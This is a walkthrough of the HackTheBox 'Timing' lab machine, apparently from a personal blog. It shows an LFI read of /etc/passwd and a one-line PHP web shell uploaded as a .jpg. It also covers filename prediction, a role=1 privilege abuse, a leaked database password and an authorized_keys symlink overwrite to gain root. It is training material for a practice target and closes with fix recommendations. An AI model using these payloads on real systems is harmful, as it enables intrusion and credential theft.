Some checks failed
Build Blog Docker Image / build docker (push) Failing after 1m11s
301 lines
9.7 KiB
Markdown
301 lines
9.7 KiB
Markdown
---
|
||
title: "Writeup - Timing (HTB)"
|
||
date: 2022-04-07
|
||
slug: "writeup-timing-htb"
|
||
type: "writeup-ctf"
|
||
---
|
||
|
||
This is a writeup for the [Timing](https://app.hackthebox.com/machines/Timing) machine from the HackTheBox site.
|
||
|
||
## Enumeration
|
||
|
||
First, let's start with a scan of our target with the following command:
|
||
|
||
|
||
```bash
|
||
nmap -sV -T4 -Pn 10.10.11.135
|
||
```
|
||
Two TCP ports are discovered:
|
||
|
||

|
||
|
||
- 22/tcp : SSH port (OpenSSH 7.6p1)
|
||
- 80/tcp : HTTP web server (Apache 2.4.49)
|
||
|
||

|
||
|
||
## Exploit
|
||
|
||
First of all, let's start by listing the pages of the website.
|
||
|
||

|
||
|
||
When testing the different ones, they all return an error except the `image.php` page. Let's try to list the arguments available on this page with the following command:
|
||
|
||
|
||
```bash
|
||
ffuf -c -u http://10.10.11.135/image.php?FUZZ=/bin/bash -w wordlist/common.txt -fw 1
|
||
```
|
||

|
||
|
||
We find that the `img` argument exists. Let's try to list the contents of the `/etc/passwd` :
|
||
|
||

|
||
|
||
The site has an injection detection, let's try to make a new request but this time with a base64 encoding to avoid the detection:
|
||
|
||
|
||
```bash
|
||
http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd
|
||
```
|
||
The page returns a character string in base64, I decode it with the following command:
|
||
|
||
|
||
```bash
|
||
┌──(d3vyce㉿kali)-[~/Documents]
|
||
└─$ echo "[string]" | base64 -d
|
||
root:x:0:0:root:/root:/bin/bash
|
||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||
sync:x:4:65534:sync:/bin:/bin/sync
|
||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
|
||
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
|
||
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
|
||
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
|
||
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
|
||
lxd:x:105:65534::/var/lib/lxd/:/bin/false
|
||
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
|
||
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
|
||
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
|
||
pollinate:x:109:1::/var/cache/pollinate:/bin/false
|
||
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
|
||
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
|
||
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
|
||
```
|
||
We find that there is a user `aaron` on the machine. I try to connect to the site with this user and basic passwords. I end up connecting with the following credentials: `user: aaron, password: aaron`.
|
||
|
||
I continue my exploration of the files by starting with `login.php`.
|
||
|
||

|
||
|
||
In this file I find a reference to the database connection file: `db_conn.php`.
|
||
|
||
|
||
```bash
|
||
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
|
||
```
|
||
db\_conn.phpOk, we have a username and password for the mysql database and potentially a user... I tried to make an SSH session with this password and the user `aaron` but without success.
|
||
|
||
I continue my research and find the mention of a new page in `upload.php` : `admin_auth_check.php`.
|
||
|
||
|
||
```php
|
||
<?php
|
||
|
||
include_once "auth_check.php";
|
||
|
||
if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
|
||
echo "No permission to access this panel!";
|
||
header('Location: ./index.php');
|
||
die();
|
||
}
|
||
|
||
?>
|
||
```
|
||
In this file we find that if the session variable `role` is equal to 1 we have access to the admin section of the site.
|
||
|
||
In one of the javascript files we find the existence of another php page : `profile_update.php`.
|
||
|
||
|
||
```php
|
||
function updateProfile() {
|
||
var xml = new XMLHttpRequest();
|
||
xml.onreadystatechange = function () {
|
||
if (xml.readyState == 4 && xml.status == 200) {
|
||
document.getElementById("alert-profile-update").style.display = "block"
|
||
}
|
||
};
|
||
|
||
xml.open("POST", "profile_update.php", true);
|
||
xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
||
xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value);
|
||
}
|
||
```
|
||

|
||
|
||
In this file we find that we can send during a POST request the `role` variable. I create a request with Burp with `role=1`, this should give me access to the admin panel of the site.
|
||
|
||

|
||
|
||
I continue my analysis of the php files of the site with `avatar_uploader.php` which brings me then to `upload.php`.
|
||
|
||
|
||
```php
|
||
<?php
|
||
include("admin_auth_check.php");
|
||
|
||
$upload_dir = "images/uploads/";
|
||
|
||
if (!file_exists($upload_dir)) {
|
||
mkdir($upload_dir, 0777, true);
|
||
}
|
||
|
||
$file_hash = uniqid();
|
||
|
||
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
|
||
$target_file = $upload_dir . $file_name;
|
||
$error = "";
|
||
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
|
||
|
||
if (isset($_POST["submit"])) {
|
||
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
|
||
if ($check === false) {
|
||
$error = "Invalid file";
|
||
}
|
||
}
|
||
|
||
// Check if file already exists
|
||
if (file_exists($target_file)) {
|
||
$error = "Sorry, file already exists.";
|
||
}
|
||
|
||
if ($imageFileType != "jpg") {
|
||
$error = "This extension is not allowed.";
|
||
}
|
||
|
||
if (empty($error)) {
|
||
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
|
||
echo "The file has been uploaded.";
|
||
} else {
|
||
echo "Error: There was an error uploading your file.";
|
||
}
|
||
} else {
|
||
echo "Error: " . $error;
|
||
}
|
||
?>
|
||
```
|
||
In this file we learn several things:
|
||
|
||
- Only `.jpg` files are accepted
|
||
- The uploaded images are stored in the folder `images/uploards/`
|
||
- The images take a name based on the string `$file_hash` and the function time()
|
||
|
||
💡In PHP single quotes are strings and double quotes are the values of the variable.So we will have to make a script to calculate the first part of the file name. I realize this script in PHP, every second it will give a possible hash to use for the name of the uploaded file.
|
||
|
||
|
||
```php
|
||
<?php
|
||
|
||
while(true) {
|
||
$hash = md5('$file_hash' . time()) . 'd3vyce.jpg';
|
||
echo "hash = $hash \n";
|
||
sleep(1);
|
||
}
|
||
```
|
||
|
||
{{< alert >}}
|
||
Before doing the manipulation, it is necessary to check that your clock is well synchronized with the Internet (`timedatectl`). If this is not the case, you can activate it with the following command: `timedatectl set-ntp yes`.I create an image `d3vyce.jpg` with the following content:
|
||
{{< /alert >}}
|
||
|
||
```php
|
||
<?php system($_GET[cmd]);?>
|
||
```
|
||
I then run the php script :
|
||
|
||

|
||
|
||
Then I upload the image on the server. All that's left to do is to make requests with the different hash possibilities.
|
||
|
||

|
||
|
||
I can now send commands to the target server. It's not ideal, but I also tried with a reverse shell, but without success...
|
||
|
||

|
||
|
||
After some time of enumeration, I find a `source-files-backup.zip` file in the `/otp` folder.
|
||
|
||
To recover this file, I make a copy to the folder where the website is stored:
|
||
|
||
|
||
```bash
|
||
curl 'http://10.10.11.135/image.php?img=images/uploads/0fdde4bab214a9a96630c16ac87bf0d4_d3vyce.jpg&cmd=cp+/opt/source-files-backup.zip+/var/www/html/'
|
||
```
|
||
I can now retrieve the file by accessing the address `http://10.10.11.135/source-files-backup.zip`. After unzipping the zip I find the tree structure :
|
||
|
||

|
||
|
||
This is a GIT project, so I check the history with the following command:
|
||
|
||

|
||
|
||
In the last commit, there was a modification on the file in which we found credencials. Let's see what has been modified in this file:
|
||
|
||

|
||
|
||
There has been a password change! Let's try this new password to create an SSH session with the user `aaron`.
|
||
|
||

|
||
|
||
I now have a shell and can retrieve the first flag.
|
||
|
||
## Privilege escalation
|
||
|
||
For elevation of privilege I first check if the user has sudo access:
|
||
|
||

|
||
|
||
So I can use the `netutils` service with root rights. Let's see what this program does:
|
||
|
||

|
||
|
||
This program allows you to download files via FTP or HTTP.
|
||
|
||

|
||
|
||
Once the file is downloaded, I notice that it does not belong to me but to the root user!
|
||
|
||
What we will be able to do is to make a symbolic link of the file `/root/.ssh/authorized_keys` and then upload a file with the same name so that the content is overwritten and replaced by our public key.
|
||
|
||
To do this I create the symbolic link with the following command:
|
||
|
||
|
||
```bash
|
||
ln -s /root/.ssh/authorized_keys authorized_keys
|
||
```
|
||

|
||
|
||
Then before launching a file server in which I placed a file `authorized_keys` with my public key inside.
|
||
|
||
I download the file with the program `netutils` :
|
||
|
||

|
||
|
||
I now connect to the root user via SSH :
|
||
|
||

|
||
|
||
I can now recover the last flag.
|
||
|
||
## Recommendations
|
||
|
||
To patch this host I think it would be necessary to perform a number of actions:
|
||
|
||
- Do not use the same login/password
|
||
- Fix the php argument to avoid enumeration
|
||
- Do not use a user's password for the mysql database
|
||
- Do not give sudo rights to a program that does not need them
|